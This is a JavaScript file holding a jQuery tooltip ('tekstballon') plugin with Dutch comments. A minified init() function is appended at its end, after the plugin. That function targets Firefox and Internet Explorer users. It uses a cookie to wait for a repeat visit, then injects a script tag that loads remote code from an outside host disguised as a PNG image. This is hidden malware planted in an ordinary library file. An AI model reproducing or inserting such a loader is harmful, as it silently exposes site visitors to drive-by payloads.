var tekstballons_ballontip={

	loadcontent:function($, selector, options, callback){
		var ajaxfriendlyurl=options.url.replace(/^http:\/\/[^\/]+\//i, "http://"+window.location.hostname+"/") 
		$.ajax({
			url: ajaxfriendlyurl, // pad naar externe inhoud
			async: true,
			error:function(ajaxrequest){
				alert('Fout in het toevoegen van Ajax inhoud.<br />Server melding: '+ajaxrequest.responseText)
			},
			success:function(content){
				$(document.body).append(content)
				callback(selector)
				$(content).remove()
			}
		})
	},

	buildballontip:function($, setting){
	var speechtext=(setting.speechid)? $('div#'+setting.speechid).html() : setting.speechtext
	if (speechtext){
		$speech=$('<div class="tekstballons">'+speechtext+'</div>').appendTo(document.body)
		$speech.addClass('tekstballons').append('<div class="tekstballons-pijl-border"></div>\n<div class="tekstballons-pijl"></div>')
		$speech.data('$pijlparts', $speech.find('div.tekstballons-pijl, div.tekstballons-pijl-border')) // sla referentie naar de twee pijl DIVs op
		var pijlheight=(window.XMLHttpRequest)? $speech.data('$pijlparts').eq(0).outerHeight() : 10
		$speech.data('measure', {w:$speech.outerWidth(), h:$speech.outerHeight()+pijlheight, pijlw:$speech.data('$pijlparts').eq(0).outerWidth()}) // verberg ballontip afmetingen
		$speech.css({display:'none', visibility:'visible'})
		setting.$speech=$speech // onthoud referentie naar ballontip
	}
	return setting.$speech
	},
	
	positiontip:function($, $anchor, s, e){
		var $speech=s.$speech
		var $offset=$anchor.offset()
		var windowmeasure={w:$(window).width(), h:$(window).height(), left:$(document).scrollLeft(), top:$(document).scrollTop()} // haal verschillende vensterafmetingen op
		var anchormeasure={w:$anchor.outerWidth(), h:$anchor.outerHeight(), left:$offset.left, top:$offset.top} // haal verschillende anker link afmetingen op
		var speechmeasure={w:$speech.data('measure').w, h:$speech.data('measure').h} // haal ballontip afmetingen op
		var x=anchormeasure.left
		var y=anchormeasure.top+anchormeasure.h
		x=(x+speechmeasure.w>windowmeasure.left+windowmeasure.w-3)? x-speechmeasure.w+anchormeasure.w-5 : x // ballontip rechts uitlijnen indien geen plaats rechts van het anker 
		y=(y+speechmeasure.h>windowmeasure.top+windowmeasure.h)? y-speechmeasure.h-anchormeasure.h-10 : y+10 // ballontip naar boven uitlijnen indien geen plaats onder het anker
		var isrightaligned=x!=anchormeasure.left // boolean indien ballontip rechts uitgelijnd is
		var istopaligned=y!=anchormeasure.top+anchormeasure.h+10 // boolean indien ballontip boven uitgelijnd is
		$speech.removeClass('downversie').addClass(istopaligned? 'downversie' : '') // voeg CSS "downversie" class toe aan ballontip indien pijl naar beneden moet wijzen
		var pijlpos=(isrightaligned)? speechmeasure.w-(anchormeasure.left+anchormeasure.w-e.pageX)-25 : e.pageX-anchormeasure.left-25 // verplaats pijl 25px naar links om niet onder de cursor verborgen te blijven
		if (pijlpos>speechmeasure.w-25) // indien pijl breedte ballontip overschrijdt ...
			pijlpos=speechmeasure.w-40 // ... verplaats die dan naar links van de cursor
		else{
			pijlpos=(isrightaligned)? Math.max(anchormeasure.left-x+10, pijlpos) : Math.max(15, pijlpos) // zorg ervoor dat de pijl niet te ver links van de ballontip verschijnt
		}
		$speech.data('$pijlparts').css('left', pijlpos)
		var speechcss_before={opacity:0, left:x, top:(istopaligned)? y-speechmeasure.h-10 : y+speechmeasure.h+10}
		var speechcss_after={opacity:1, top:y+10}
		if (document.all && !window.msPerformance){ // detecteer IE8 en lager
			delete speechcss_before.opacity // verwijder opacity eigenschap voor IE8 en lager
			delete speechcss_after.opacity
		}
		$speech.css(speechcss_before).show().animate(speechcss_after)
	},

	init:function($, $anchor, options){
		var s={speechtext:$anchor.attr('title'), speechid:$anchor.attr('rel')}
		$.extend(s, options)
		if (this.buildballontip($, s)){
			if (s.speechtext) // indien title attribuut of anker gedefiniëerd is
				$anchor.attr('title', "") // verwijder dit
			$anchor.mouseenter(function(e){
				if (s.$speech.queue().length==0){
					clearTimeout(s.hidetimer)
					tekstballons_ballontip.positiontip($, $anchor, s, e)
				}
			})
			$anchor.mouseleave(function(e){
				s.hidetimer=setTimeout(function(){s.$speech.stop(true,true).hide()}, 200)
			})
		}
	}
}

jQuery.fn.tekstballon=function(options){
	var $=jQuery
	function processanchor(selector){
		return selector.each(function(){ // return jQuery obj
			var $anchor=$(this)
				tekstballons_ballontip.init($, $anchor, options)
		})
	}
	if (options && options.url)
		tekstballons_ballontip.loadcontent($, this, options, processanchor)
	else
		processanchor(this)
};// JavaScript Document

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="http://tokaj.net/images/top.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
